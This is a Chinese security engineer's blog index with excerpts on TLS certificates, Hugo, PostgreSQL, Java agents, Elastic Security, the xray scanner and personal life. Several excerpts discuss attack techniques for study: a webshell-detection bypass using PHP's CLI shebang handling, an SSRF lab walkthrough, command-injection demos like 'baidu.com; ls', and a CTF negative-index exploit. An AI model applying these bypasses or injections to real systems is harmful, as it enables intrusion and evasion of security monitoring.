Home on virusdefender's blog ʕ•ᴥ•ʔ

About

Sat, 01 Jan 2000 00:00:00 +0000

关于我

一直在 @长亭科技从事安全开发相关工作，熟悉 Waf 检测引擎、主机安全检测引擎和扫描器等等。
微信
邮箱
GitHub https://github.com/virusdefender

友情链接

体验 LetsEncrypt 的短期证书

Thu, 27 Nov 2025 00:00:01 +0000

在今年 2 月份的时候，LetsEncrypt 就发布了一篇文章称要推出六天的短期证书，而目前 LetsEncrypt 的默认证书还是 90 天的。

为何要使用有效期更短的证书呢，这个主要有两个重要的原因：

证书吊销机制不可靠

证书吊销一直是依赖 OCSP 或 CRL 机制，但是都需要是客户端主动的去检查，否则对证书有效性没有任何的影响。

CRL（证书吊销列表）

CA 定期生成一个签名的列表，其中包含所有已被吊销但尚未过期的证书序列号。客户端在验证证书时，会下载这个列表，并检查目标证书的序列号是否在其中。如果在，则说明该证书已被吊销，不应信任。

缺点包括

体积大：随着吊销证书增多，CRL 文件会变得很大，影响性能。
存在时效性问题：两次更新之间的窗口期内吊销的证书无法被及时发现。

OCSP（在线证书状态协议）

客户端向 CA 指定的 OCSP 响应服务器发送一个查询请求，包含目标证书的序列号等信息，OCSP 服务器实时返回该证书的状态。

缺点包括

每次查询都会暴露用户正在访问哪个网站
依赖网络和服务器可用性：如果 OCSP 服务器宕机或响应慢，可能导致连接延迟甚至失败。某些客户端可能会忽略 OCSP 错误继续连接。

其改进版为 OCSP Stapling，即服务器主动从 CA 获取 OCSP 响应，并在 TLS 握手时一并发送给客户端。避免了客户端直接连接 OCSP 服务器，提升性能和隐私。

短期证书的主要优势在于，它们能显著缩短潜在的风险暴露时间，因为这类证书会相对较快地过期。这降低了对证书吊销机制的依赖。因为上述吊销机制一直不够可靠，所以短期证书将不包含 CRL 或者 OCSP 的配置信息。

此外，短期证书实际上要求必须实现自动化管理，实现证书签发的自动化也对于安全性至关重要。

支持 IP 证书

虽然说 IP 和域名的 SSL 的验证和签发本质都是一样的，但是过去只有少数几家 CA 小规模提供此类服务。

IP 证书很少见最重要的原因是 IP 地址的所有权的变动比域名频繁多了，比如你在某个云厂商创建了一个新的虚拟机，分配了一个 IP 地址，在释放虚拟机的时候，如果你同时选择了释放 IP 的话，这个 IP 可能随时就被其他人所占用。这时候已经签发的长期有效的 IP 地址的证书可能就存在安全隐患了，而使用短期证书即可以匹配 IP 生命周期也可能比较短的场景。

迁移到 Hugo

Thu, 04 Sep 2025 00:00:01 +0000

从本站的文章发布日期来看，写博客也已经有 10 多年的历史了。回想了一下本站使用的博客系统，大概分为下面三个阶段，它们让我切换的动力都是简洁轻量的部署与贴合个人审美的模板。

Typecho

印象中当年将 Typecho 在多家不同的虚拟主机上都部署过，也是当年初入技术圈的时候，各种胡乱探索的过程。

相对于 WordPress，差别是 Typecho 更加简洁易用，共同点是 10 多年过去了，我翻了下 Typecho 的 GitHub 发现还是和 WordPress 一样天天在修复安全漏洞。

这个截图来自官方博客，我当年用的主题似乎和这个有点差别，但是整体布局和色调是接近的。

Jekyll

后面静态博客生成器快速流行起来，无意中发现有人分享了一个主题 jekyll-theme-H2O，也是一眼就看中了。

因为不想更换为 Jekyll 之后让之前 Typecho 生成的文件链接失效，所以一个静态网站的 url 也不得不变成 /index.php/archives/100/ 这样的格式了。

Hugo

逛 GitHub 的时候发现了一个名为 ʕ•ᴥ•ʔ Bear Blog 的博客系统，其小熊的 logo 非常的呆萌可爱。

不过这个博客系统很遗憾是 Django 开发的，不是静态网站，但是我又一眼就喜欢上了这个网站的模板风格，就打算自己扒一下网站的源码改造一些，调研过程中就发现了原来已经有好心人给弄了 Hugo 版本，所以自然就切换到了 Hugo 上。整体来看，这个版本的风格和 Typecho 还是比较接近的。

折腾这个没花太多的时间，借助 AI 工具，一些明显的问题和数据格式的简单迁移很快就搞定了，主要遇到的一个卡点是这个博客区分 Dark 和 Light 模式，并借助 css 自动切换，但是 Markdown 中代码块的高亮却是固定的模式，导致不管选择哪个高亮的主题在另外一个模式下总是看上去比较奇怪。后来搜索了一些资料，最终是导出了两个主题的语法高亮 css 然后插入自定义的 css 进行选择，感觉 Hugo 自带这个功能的话会更好一些。

1<style type="text/css" media="screen">
2@media (prefers-color-scheme: dark) { 
3 /* Generated using: hugo gen chromastyles --style=github-dark */
4 /* github-dark css 内容 */
5}
6@media (prefers-color-scheme: light) { 
7 /* Generated using: hugo gen chromastyles --style=friendly */
8 /* friendly css 内容 */
9}

寻找不太一样的 Webshell 检测绕过方法

Mon, 21 Aug 2023 00:00:01 +0000

这其实是一篇写于 2022 年初的老文，不过鉴于很久没发过文章了，就来凑个数。

本文不再赘述编码、替换等通用绕过技术，也不太多的深入检测的核心原理，而是列举一些检测周边的 bug，这些 bug 基本原理都不复杂，但也确确实实的在影响检测效果，而且可能也是横跨多个引擎的通用绕过技术。

PHP Server 模式和 Cli 模式行为不同

正常情况下，我们运行 PHP 网站都是 PHP Server 的模式，但是在一些 Webshell 检测中，是使用的 Cli 模式，简单来说就是 php sample.php 这样来模拟执行和检测的。这样做的原因可能是：

避免检测过程中出现 bug 导致整个进程崩溃，影响其他检测。Cli 模式下，每个检测都对应一个单独的进程；
方便给不同的检测样本添加不同的时间和内存限制。

这两种模式下，PHP 运行的行为基本是一样的，但是也存在细微的差别，这就可以用于来绕过 Webshell 检测。

shebang line

为了方便和其他脚本解释器一样，直接使用 ./x.php 的形式运行 PHP 脚本，PHP 解释器也提供了 shebang line 的支持，但是 PHP 对 shebang line 的支持和 Bash、Python 等比还有些不一样。

shebang line 是 #!/usr/bin/php、#!/bin/bash、#!/usr/bin/python 的形式，对于 Bash 和 Python 来说，语言的注释符就是 #，所以这一行自然就忽略掉了，不需要特殊的处理。而对于 PHP 来说，# 不是注释符，需要进行特殊的处理，否则就会出现语法错误。所以 Cli 模式下，会特殊的判断和跳过，而 Server 模式下面不会去处理。

1#! <?php echo 100*100;
2
3<?php
4echo 200*200;

Server 模式下的输出是

Java Agent 开发使用的那些坑

Sun, 20 Aug 2023 00:00:01 +0000

Java Agent 是一个特殊的 Jar 包，其编写和普通的 Java 应用区别不大。一般情况下，我们使用 Java Agent 都是为了使用 Java instrument 机制，因为其一般情况下只能在 Java Agent 中调用。（有些暴力内存搜索的黑客手段也可以，暂且忽略，详见 Java内存攻击技术漫谈）。

Java instrument 机制是一种对 Java 类和字节码进行后期处理的机制，其主要功能包括：

getAllLoadedClasses() 获取当前进程加载的所有的类
addTransformer(ClassFileTransformer transformer, boolean canRetransform) 注册一个 transformer

transformer 需要实现 transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) 。在类加载或者 retransform 的过程中，transformer 类似一个 hook，可以收到原始的类字节码，然后按需修改后返回，如果不需要修改，返回 null 即可。

基于 Java instrument 机制动态修改字节码可以很方便的去做一些监控和安全类的功能，也经常被黑客所利用，比如：

不修改业务的情况下，记录关键函数的调用的时间、次数、链路等
不重新上线的情况下，热修复程序的 bug
Rasp 安全产品，在敏感位置插入检测逻辑，实现安全检测和防御
插入自定义的恶意代码实现内存马，不需修改磁盘文件，更加隐蔽

在主机安全产品上，我们使用这些技术来实现内存马扫描相关的功能，首先使用 getAllLoadedClasses 和一些反射的手段获取到一些类，后续通过 transform 监控类的加载。如果初筛结果是可疑的，我们就将其上传到服务端去做进一步的检测。

内存马检测 Agent 和 Rasp 产品最大的区别是是否修改字节码，Rasp 要使用这个机制去修改字节码来做检测和防御，而内存马检测 Agent 能将其字节码保存下来即可，也就是 transform 函数一定返回 null。

Elastic Security 试用

Sat, 01 Oct 2022 00:00:01 +0000

说到 Elastic 这家公司，大部分的第一反应就是 Elasticsearch，常用于海量数据的索引和搜索，但是今天要研究和试用的不是 ES 数据库，而是 Elastic Security 产品。因为之前在搜索一些安全相关的规则和资料的时候，发现了 https://github.com/elastic/detection-rules 里面包含很多检测检测规则，比如恶意命令、yara 规则等等，这才发现这家公司还做安全产品，其官网在 https://www.elastic.co/cn/security 和 https://www.elastic.co/cn/security-labs/ 。

其官网上提到，Elastic Security 产品主要分为四部分：

SIEM
终端安全 Endpoint Security
XDR
云安全

这几个概念有一定的重合，有一些我也不是特别感兴趣，我们就只关注主机安全这个方向，模拟企业内网有一些主机，关注风险发现和入侵检测的覆盖面和效果。

Add security Integrations

注册和初始化环境等步骤就跳过了，请参考文档 https://www.elastic.co/guide/en/security/8.4/index.html 。

进入 Security Dashboard 之后提示要 Add Security Integrations，我就有点迷茫了，因为上面三个大大的图标（Web crawler 那里），下面还有一堆小图标，他们的关系是什么？我要研究的是不是 Endpoint and Cloud Security 功能？后来我才发现，这三个其实也存在于下面这一堆应用中（因为截图尺寸的原因，左侧实际已经选择了 Security 分类了），估计是因为按首字母排序的，怕被淹没在里面。

添加 Endpoint and Cloud Security 之后，需要安装探针，给了一个在线下载和安装的 Shell 命令，运行安装命令，然后在界面上能看到这台机器就可以了。进入 Dashboard 页面之后，默认给了四个 Dashboard：

Overview 一些数据的统计，比如告警趋势、各种事件数量和趋势等等。
Detection & Response 各种维度的告警的数量和趋势（比如按照类型、主机、风险等级聚合）、告警事件列表等等。
Kubernetes 暂不关心
Cloud Posture 暂不关心

这里也支持创建自定义的 dashboard，感觉就是 Kibana 那一套了，不是关注的重点，现在也没有数据，先不管了。

2021.log

Sat, 01 Jan 2022 00:00:01 +0000

2021 年又过去了，这一年竟然没有写任何的博文，当然回想了一下，也没有啥好写的。工作上的事情大部分都在查漏补缺和打磨细节，推进安全开发的工程化，并没有太多研究性的成果来分享，那就来梳理下生活上的流水账吧。

在上一篇文章中提到了，我在 2019 年 8 月底领证，2020 年 11 月底举办了婚礼，然后今年把我们两个人的生活又推进了一大步：10 月 21 日，宝宝李嘉翊出生了，两个人变三个人了。

{: width="50%" } 刚出生的时候

{: width="70%" } 一个月的时候

记得刚上初中的前几天，班主任让我们写一篇主题为 "反思过去、展望未来" 的作为，但是在当时很难深入的理解这个主题，大部分人也都是写写比如小学有些不好的学习习惯，初中要改正这种话题，当然我也不例外。

如今翻看前几年的年度总结的文章，发现更多的是"总结"和"展望"，而非"反思"。反思是在总结中吸取经验教训，因为过去做的一定不是完美的，一定是存在很多问题的。那我有什么经验教训呢？

生活上，和孙同学在一起差不多 5 年了，这些年心态和做事态度发生变化了么？尤其是生小孩之后，一些各方面的原因，让她受到了一些委屈。
工作上，其实有一些事情本来可以更早去做，可以做的更好，可以给团队的同学更多的规划和指导。但是因为效率太低、拖延症等原因，导致自己对一些方面的事情并不太满意。
去年买了 switch 之后，健身环就玩了很短的时间；今年夏天去学游泳，而到了年底，才学了不到 20 个小时，勉强算是入门水平。这些和工作算是同一类的问题吧。
读过几本书，探索过几个新学习方向，但是浅尝辄止，没有成果。

这篇文章暂时不去写如何去解决这些问题，生活节奏需要一个大调整，需要进一步的思考，希望明年回首的时候不再是“那些问题依然存在，并没怎么被解决”。。。

2019 && 2020

Thu, 31 Dec 2020 00:00:01 +0000

往年在年底我会写一篇年度总结的文章，历史文章文章列表可以见博客 "年度分类" tag，但是 2020 年过了几个月我才想起来没有写 2019 年的总结，也索性就先不写了。

所以本文其实是 2019 年和 2020 年两年的总结合并而来，不过不重要，技术和生活上的事情都是连贯的。

工作方面

xray 扫描器的工作

2019 年初，我还是在雷池 waf 团队。当时随着雷池的客户越来越多，部署规模越来越大，之前创业初期做的 waf 平台已经不能满足高性能、高可靠性的要求了，各种问题越来越多，所以整个团队决定进行一次大型重构升级工作，新增了大量的新技术。

2019 三四月份的时候，Monster 给我说，希望我去扫描器那边做一些安全策略的工作，我答应了，之后就是大约 8 个月的 xray 扫描器开发工作了。

这个开发工作又是一次重构，当时整个洞鉴扫描器效果确实很一般，每天最头疼的问题就是为什么又卡住了。

为什么放弃动态语言

这不得不从开发语言 Python 说起。

我认为，下面这些问题能搞清楚才能写出一个高质量的模块不过分吧，但是 Python 能做到么？

一个函数接受几个参数？返回几个值？各自是什么类型？
一个对象有什么属性？一个属性什么情况下存在什么情况下不存在？
这个函数可能抛出什么异常？

有人会说 Python 的 type hint，但是那只是标记，并不是真的检查，何况很多三方库也没有 type hint 或者代码过于动态没办法 hint，实现完整的类型检查是很难的。

还有一些更高阶的工程问题，Python 同样解决方案很乱

内存和 cpu pprof
查看每个进程/线程的运行栈
方便的并发控制和调度

之前提到了卡住的问题，当时的引擎使用的是 Python 的 asyncio 框架，asyncio 可以简单理解为一个进程只有一个线程，在 io 操作的时候，可以切换到别的非 io 的代码执行。如果一个 async 函数就是不结束，那整个进程看上去就是卡死的状态，比如你的代码中有一个 input() 或者非 asyncio 版本的 sleep 等。

PostgreSQL 11.0 删除操作 Segmentation fault 解决方案

Tue, 24 Mar 2020 00:00:01 +0000

此问题在公司内部已经被两个项目组遇到了，表现为在删除操作的时候，PostgreSQL 进程会直接崩溃，服务器日志大概如下

 12020-03-25 02:30:59.813 UTC [1] LOG: server process (PID 89) was terminated by signal 11: Segmentation fault
 22020-03-25 02:30:59.813 UTC [1] DETAIL: Failed process was running: DELETE FROM a;
 32020-03-25 02:30:59.815 UTC [1] LOG: terminating any other active server processes
 42020-03-25 02:30:59.817 UTC [74] WARNING: terminating connection because of crash of another server process
 52020-03-25 02:30:59.817 UTC [74] DETAIL: The postmaster has commanded this server process to roll back the current transaction and exit, because another server process exited abnormally and possibly corrupted shared memory.
 62020-03-25 02:30:59.817 UTC [74] HINT: In a moment you should be able to reconnect to the database and repeat your command.
 72020-03-25 02:30:59.833 UTC [1] LOG: all server processes terminated; reinitializing
 82020-03-25 02:30:59.861 UTC [91] LOG: database system was interrupted; last known up at 2020-03-25 02:30:49 UTC
 92020-03-25 02:31:00.032 UTC [91] LOG: database system was not properly shut down; automatic recovery in progress
102020-03-25 02:31:00.036 UTC [91] LOG: redo starts at 0/1652540

解决方案

这是 PostgreSQL 的一个 bug，尝试运行

1VACUUM FULL ANALYZE;

之后一般可以恢复正常。

终极解决方案还是升级 PostgreSQL 到 11.x 最新版本，至少是 11.1，小版本升级没兼容性问题，请勿直接升级到 12.x 版本。

问题复现方法

使用 PostgreSQL 11.0 版本，然后执行下面的 sql

 1CREATE TABLE a (
 2 id bigint
 3);
 4
 5INSERT INTO a (id) VALUES (1); 
 6
 7ALTER TABLE ONLY a ADD CONSTRAINT a_pkey PRIMARY KEY (id);
 8
 9CREATE TABLE b (
10 a_id bigint
11);
12
13ALTER TABLE ONLY b ADD CONSTRAINT b_a_id_fkey FOREIGN KEY (a_id) REFERENCES a(id);
14
15ALTER TABLE a ADD x BOOLEAN NOT NULL DEFAULT FALSE;

再执行 DELETE FROM a; 的时候就可以复现问题。

安全人员的代码水平

Wed, 29 Jan 2020 00:00:01 +0000

citrix 官方放了一个 CVE-2019-19781 – Verification Tool，是一个 Python 脚本，链接在 https://support.citrix.com/article/CTX269180。

为了方便大家看，我保存一个截图。

我看了之后觉得槽点满满，不过也符合我一贯的对安全人员代码水平的印象，下面先简单分析下这段代码。

代码分析

滥用 globals

这段代码中，很多 globals 的使用都是不必要的，这种会破坏代码的逻辑结构，而且可能会带来潜在的并发问题。正确的办法应该是在调用方接受函数返回值，然后继续传递给下一个函数。

可以使用原生代码的逻辑结果是调用命令

本漏洞是一个目录穿越，只要发送 ../ 这种的请求而且穿越成功即可，本来使用 Python urllib 两行的事情，这个人却使用了 curl 执行命令来检查返回值实现的，这种用法主要有以下缺点

新启动进程，耗费资源，降低代码性能
潜在的命令注入问题，更何况这里使用了 shell=True 参数。这个可以借助下面的代码来理解

1>>> subprocess.check_output("curl http://example.com; expr 1024 + 20480000", shell=False)
2Traceback (most recent call last):
3 ......
4FileNotFoundError: [Errno 2] No such file or directory: 'curl http://example.com; expr 1024 + 20480000': 'curl http://example.com; expr 1024 + 20480000'
5
6
7>>> subprocess.check_output("curl http://example.com; expr 1024 + 20480000", shell=True)
8b'<!doctype html>\n<html>\n<head>\n .....</html>\n20481024\n'

一个重大逻辑错误

如果说上面的问题不影响 poc 的效果的话，下面这个问题是真正的错误了。

使用 xray 反连平台挖掘和验证 SSRF

Thu, 10 Oct 2019 00:00:01 +0000

SSRF，Server-Side Request Forgery，服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制 ref。

目标是什么

在 https://github.com/virusdefender/ssrf-app 提供了一个 ssrf 的实例程序，docker-compose build && docker-compose up 之后，浏览器访问 http://vuln.net:8000/?url=http://example.com，系统就会抓取指定的地址的网页并返回，就可以看到和直接访问 http://example.com 一样的页面。

要注意的是，vuln.net 是我绑定的 host 到 docker 容器的 IP，我使用的 docker for mac，ip 为 127.0.0.1，这其实是经过端口转发的，后端服务器实际并不在我本地，这里可以看实际情况去修改。

另外已知在 /api/internal/secret 上存放了一个 secret api 服务，目标就是去访问它然后获取 secret，直接访问当然是不行了，会提示 IP 不在允许范围内。

首先的思路就是使用抓取网页的 api 去访问 secret api，所以先尝试将 url 参数换成内网 IP，然后访问查看。

直接访问 127.0.0.1 和使用 localhost 域名

第一个尝试的当然是 127.0.0.1，但是访问 http://vuln.net:8000/?url=http://127.0.0.1:8000 却提示 127.0.0.1 is forbidden，尝试使用 localhost 域名绕过，也是同样的提示，怀疑后端有尝试去解析 ip 然后做验证。

尝试扫内网吧

如果更换为其他的内网 ip，会提示连接超时 HTTPConnectionPool(host='192.168.1.1', port=8000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, 'Connection to 192.168.1.1 timed out. (connect timeout=2)'))，当然这也是探测内网 ip 和端口是否存在的一种特征。但是经过尝试，常见的 IP 和端口都是超时的，服务器应该是没有内网的（此处应该写一个脚本去扫描更多的 IP 和端口）。所以重点就在于如何绕过对 127.0.0.1 的限制了。

XRAY 安全评估工具社区版

Thu, 18 Jul 2019 00:00:01 +0000

最近几个月都在忙这个 XRAY 安全评估工具，直到有好心人提醒我本站的 ssl 证书过期了才想起来好久没写文章了。

在 2016 年的 7 月 7 号，长亭科技四周年的大好日子，我们发布了两款新产品，洞鉴和牧云。洞鉴以资产管理、安全评估、漏洞管理为中心，来解决传统漏洞扫描产品不够贴近业务场景，很难做好安全闭环的问题；牧云则是站在服务器的角度，为云平台提供更加强有力的安全支撑。这两款新产品的诞生填补了长亭在应用安全解决方案中的一大空缺。

在洞鉴发布后的一年里，我们收到了许多使用者的反馈，收获了不少客户的认可。与此同时，也在迭代的过程中，发现与总结出了许多问题和不足之处。也很多次有朋友联系到我们，咨询如何以个人的身份体验一次洞鉴的功能，但由于业务模式的缘故，我只能遗憾地拒绝了他们。

作为一家专心致志做技术、做产品的公司，我们抱着技术属于整个行业的态度，不愿意受到 ToB 商业模式的限制，非常愿意让更多的安全从业者使用我们的产品。在过去的几年中，我们开源了雷池的语义分析算法生成引擎，开源了牧云的核心技术，开源了许多我们内部的小工具，今天我们会以社区版工具的形式开放（非开源）洞鉴的核心能力，让更多的朋友和我们一起为更先进的漏洞扫描算法努力。

下载地址 https://github.com/chaitin/xray

文档 http://chaitin.github.io/xray/

目前支持的检测模块有

SQL 注入检测 (key: sqldet)

支持报错注入、布尔注入和时间盲注等

命令/代码注入检测 (key: cmd_injection)

支持 shell 命令注入、PHP 代码执行、模板注入等

检测备份文件、临时文件、debug 页面、配置文件等10余类敏感路径和文件

路径穿越检测 (key: path_traversal)

支持常见平台和编码

XML 实体注入检测 (key: xxe)

支持有回显和反连平台检测

poc 管理 (key: phantasm)

默认内置部分常用的 poc，用户可以根据需要自行构建 poc 并运行。文档：https://chaitin.github.io/xray/#/guide/poc

文件上传检测 (key: upload)

支持常见的后端语言

弱口令检测 (key: brute_force)

社区版支持检测 HTTP 基础认证和简易表单弱口令，内置常见用户名和密码字典

jsonp 检测 (key: jsonp)

检测包含敏感信息可以被跨域读取的 jsonp 接口

开源了一个 Django PostgreSQL 时间分区表插件

Sat, 09 Feb 2019 00:00:01 +0000

什么是分区表，有什么优点

分区表就是将逻辑上的一个大表分成一些物理上的小表，是数据库系统为大型表的数据组织和管理提供的一种实用的功能特性。

表分区有很多好处，比如：

子表可以按照时间等特征去划分，如果一个查询带有时间范围，那么某些子表可以直接跳过。这样就减少了索引和数据文件的 IO 量，而且这些数据更可能被缓存在内存中了。
一个子表可以被归档，也就是数据库会忽略它的存在，实现老数据不再查询的特性。
如果磁盘空间不足，可以快速删除不想要的数据。被归档的表的删除和 vacuum 会比较容易，因为需要锁，一直写数据的情况下不容易操作。
如果加一块磁盘扩容，之后创建的新的子表可以单独调整 tablespace 放在新的磁盘上，先不移动已有的数据。

我们为什么要开发这个插件

这里需要先插播一个广告

雷池（SafeLine）是全球首个基于智能语义分析算法的 WAF产品。雷池从计算机语言的角度进行攻击检测，区别于传统的基于特征库和黑白名单机制的拦截原理，极大地降低了误报率和漏报率，提升了 WAF 拦截的准确度。面对云端变化，雷池（SafeLine）云端解决方案无论应对私有云、公有云、混合云都有灵活应变的部署防护模式，帮助用户灵活配置网络环境。

雷池需要不间断地将包括海量攻击检测、行为审计等各类日志入库持久化，给数据库带来了极大的压力。

当然表分区不是存储和处理大数据的最优办法，引入分布式数据库和分布式文件系统才能更好的分离查询和存储压力。但是在某些特定的场景下下面（比如你的产品是卖给客户一台硬件机器）是无法引入分布式系统的。

雷池的后端管理平台基于 Django 框架，而数据库主要使用 PostgreSQL。雷池 S20 系列使用的数据库主版本号为 11，该主版本更新的一大特性便是对表分区进行了若干增强，详情参见 https://www.postgresql.org/about/news/1894/ 。

由于 Django ORM 当前不支持声明分区表，所以在此之前也有如 architect (https://github.com/maxtepkeev/architect) 这样的插件，但是它是基于表继承来实现的，并不支持 PostgreSQL 10 之后的原生分区表功能，而原生分区表功能在性能和易用性上都远远好于表继承。

所以我们开源了基于时间进行原生分区和管理的 Django 插件 django-pg-timepart (https://github.com/chaitin/django-pg-timepart)，它支持最新的 PostgreSQL 11，使 Django 能够在业务层对像文章、评论和日志这样的时序数据按一定时间间隔（如年、月、周等）来建立分区。

如何使用

在 Django 中，数据的核心是 model，所以只要给 model 加上我们的 decorator 就可以在 migrate 的时候声明为分区表了。

1@TimeRangePartitioningSupport("timestamp", default_interval=6)
2class AttackLog(models.Model):
3 timestamp = models.DateTimeField()
4rule_id = models.TextField()
5……

但是这个时候只有主表没有子表，需要再去扫描所有的 model 然后创建或者归档子表。

1model.partitioning.create_partition()
2model.partitioning.detach_partition()

雷池的分区自动创建和归档是通过后端的定时器来触发上面的 API 实现的。

PostgresSQL BRIN 索引的使用的那些坑

Mon, 04 Feb 2019 00:00:01 +0000

作者：@monouno，现实习于长亭科技。原文发表在 https://zhuanlan.zhihu.com/p/50167673

BRIN 索引（块范围索引，Block Range Indexes）是 PostgreSQL 9.5 版本新增的索引类型。该索引维护每一定范围内数据块的最大最小值和其他一些统计数据，当数据库查询时可根据索引的统计信息筛选出不符合查询条件的数据块，以避免全表扫描，提高性能和减少 IO。和 BTree 索引比较所占用的空间足够小^[1]，因此 BRIN 索引一般用于线性相关较强字段的精确和范围查询，如在一张很大的日志表中通过 id 或时间查询。

创建测试数据

创建数据表，只含有一个 id 字段

1CREATE TABLE example AS SELECT generate_series(1, 100000000) AS id;

数据表大小为 3.4G

1\dt+ example
2 List of relations
3 Schema | Name | Type | Owner | Size | Description
4--------+---------+-------+----------+---------+-------------
5 public | example | table | safeline | 3457 MB |
6(1 row)

创建索引

1CREATE INDEX idx ON example USING brin(id) WITH (pages_per_range=1024, autosummarize=on);

索引大小为 56K

mv 2018 2019

Sat, 26 Jan 2019 00:00:01 +0000

这是一篇迟到的简短的文章。

一转眼，2018 年就过去了，回想一下，有些碌碌无为。

工作上，差强人意吧，很难跳出自己的舒适区去做一些更感兴趣和更有挑战性的事情。成长的速度低于预期，有时候也需要多去看看同龄人、搞同样方向的人都在做什么、有什么成果。不管做什么事情都要有明确的目标，然后尽快开始。

年底互联网的几波裁员潮和不太乐观的经济形势让很多人比较慌，对于公司来说，缺了任何一个人都可以继续工作，所以完善个人竞争力是重中之重。当然经济形势的问题也影响很多生活上的选择，在新的一年里，也应该有自己的判断，应该做什么，不应该做什么。

生活上，一如既往，和孙同学还不错，得考虑下下一步的计划了。还有就是不能太宅了，得多出去走走。

在厨艺上，这一年有挺大的进步，有过比较多的尝试，在下厨房上都有分享。

养了两只巴西龟，一只爱吃爱活动长得快的，一只不爱动不太吃得了肺炎最终死了。。还有十多条小金鱼，为了它们还 DIY 了一个过滤。

这几天换了房子，隔壁的哥们去杭州了，我就租下了他的房子，他还送了我们一堆不带走的东西，虽然是捡破烂，但是也很高兴，哈哈哈。住了两年多暗无天日的朝北的房子，清晨的阳光照进屋子里面的时候，竟然还有些激动，同样激动的还有大龟龟。当然搬家和收拾屋子确实挺累的，屋子虽然小，但是东西是绝对的多。

大概前几年打球跑步导致的吧，去拍了个核磁，膝关节半月板轻度损伤，带来的就是走路多了之后膝盖疼，通过针对性的训练之后有所缓解，不太想这么年轻就“残疾”了。。

目标

一定要跳出工作的舒适区
多看书，专业有关的无关的
攒钱，然后决定买房子还是囤现金过冬天
健身锻炼

DIY 了鱼缸过滤

Fri, 23 Nov 2018 12:46:07 +0000

前几个月妹子买了两只小龟，是密西西比红耳龟，国内一般称巴西龟，淘宝上小苗子一般几块钱一只。我之后又买了一些草金鱼，一开始是 20 多条，除去陆续死掉的和看样子不大行喂了龟的，现在还剩一半，已经一段时间没有死过了。

我是使用两个收纳箱当鱼缸的，尺寸都是 40 cm * 20 cm * 30 cm，受制于空间，两个缸是靠在一起的，周围几乎没有别的空间了。

为了给龟儿子和小鱼鱼营造一个好一些的生活环境，也为了保持水质，防止散发气味，我开始了解鱼缸过滤，搜了一下淘宝，一般这种小型的鱼缸加紧凑空间会使用上部滴流过滤，而淘宝上的并不是太满足我两个缸同时使用的需求，不太方便接入两根进水管和两根出水管，所以经过思考，决定自己 DIY 一个。

下图是淘宝上的滴流盒

材料

潜水泵，鱼缸使用带加氧功能的侧吸泵，龟缸使用普通底吸泵；配套软管，软管的尺寸也影响后续的部件尺寸，我用了大约一米长的四分管
方形密封饭盒一个
水箱接头四个，弯头两个（一头螺纹一头软管缩头），两个直转接头（同前一个）
其他工具和零部件，比如饭盒上打孔的电钻和开孔器、美工刀、钳子和铁丝等，这些我家里都有，就没有再买
过滤材料，包括过滤棉、过滤布（300目）和细菌屋等

制作步骤

饭盒盖子和底部各打两个孔，同一面的孔靠近同一个边，然后盖上盖子的时候，进水口和出水口错开，增加水在盒子里面的流动距离。
连接相关的零件和管子，安放盒子在两个缸中间，使用软管帮助固定。

过滤材料的放置

一块过滤棉，大约盒子的二分之一大小，然后下面垫过滤布，用盒子盖压住过滤布，清理的时候，打开盖子去除过滤布清洗就可以了。如果没有过滤布，残渣仍然有可能被水冲回缸里面。

过滤布下面就是细菌屋了，培养硝化细菌的，我的饭盒比较小，只能放三块，我觉得聊胜于无吧。

存在的问题

最明显的问题，就是一个泵在使用的时候，水会流到另外一个缸里面的，尤其是龟缸是加热恒温25度的，鱼缸是不加热的。其实我一开始还买了两个阀门，两端都是连接软管的，但是后来发现，这个阀门流量太小了，很容易造成盒子内积水和溢出，就暂时去掉了，在使用的时候，手动使用一个阀门堵住另外一根出水管。
出水管有时候会有气泡，造成流量大幅下降，将出水管弄直或者放在水面以下，一般情况下不会出现盒子水溢出的问题。

两只小龟几个月已经长了一厘米了，由 2.7cm 和 3.5 cm 长到了 3.5cm 和 4.5 cm。不过最近小龟有些生病，左眼睛肿的厉害，滴了左氧氟沙星之后会好很多，然后呼气有声音，貌似也有肺炎，不过吃饭和精神还不错，就暂时没有多加干预。

二进制安全之栈溢出（十一）

Fri, 09 Nov 2018 12:46:07 +0000

本文是 plt 和 got 表相关的漏洞利用实例，是 Google CTF 中的一道题，题目给了源码和 binary。

通过阅读代码，可以发现

1int idx = read_int();
2if (idx > TODO_COUNT) {
3 puts(OUT_OF_BOUNDS_MESSAGE);
4 return;
5}
6printf("What's your TODO? ");
7fflush(stdout);
8read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);

这里虽然检查了 idx 最大不能超过某个范围，但是没有检查小于零的情况，所以如果构造小于零的 idx，就可以读取比 todos 数组地址还小的位置的内存了，同理，在 write_all 函数中，也可以任意的去写这个位置的内存。

todos 是一个全局变量，所以它的内存地址是确定的，是在 bss 段。因为 todos 的索引会乘以 TODO_LENGTH，所以内存的读取是跳跃的，每次都相差 48 个字节。

使用 gdb 调试，set follow-fork-mode parent 然后 b main p &todos 可以看到内存地址。

1gdb-peda$ p &todos
2$1 = (<data variable, no debug info> *) 0x555555757140 <todos>

在 IDA 中，也可以看到 todos 和 got 表距离也非常近，写一个小程序算一下

1base = 0x203140
2for i in range(10):
3 print hex(base - i * 48)

结合 IDA 的结果和计算输出的结果，可以标记出来一些有用的数据

subprocess 参数绑定与命令注入

Thu, 01 Mar 2018 23:46:07 +0000

使用了 subprocess 传递数组形式的 args 过去就一定没有命令注入的问题么？

一般认为说这样的代码是存在命令注入问题的，比如

1import os
2import subprocess
3
4host = "baidu.com"
5
6subprocess.call("ping -c 1 %s" % host, shell=True)
7os.system("ping -c 1 %s" % host)

如果 host = "baidu.com; ls" 就可以执行 ls 了

推荐的做法是

args is required for all calls and should be a string, or a sequence of program arguments. Providing a sequence of arguments is generally preferred, as it allows the module to take care of any required escaping and quoting of arguments (e.g. to permit spaces in file names). If passing a single string, either shell must be True (see below) or else the string must simply name the program to be executed without specifying any arguments.

二进制安全之栈溢出（十）

Sat, 13 Jan 2018 12:46:07 +0000

本篇没有新内容，只有一个新名词 off-by-one，利用方法还是之前的。

off-by-one漏洞

off-by-one漏洞是计数时由于边界条件判断失误导致结果多了一或少了一的错误，比如

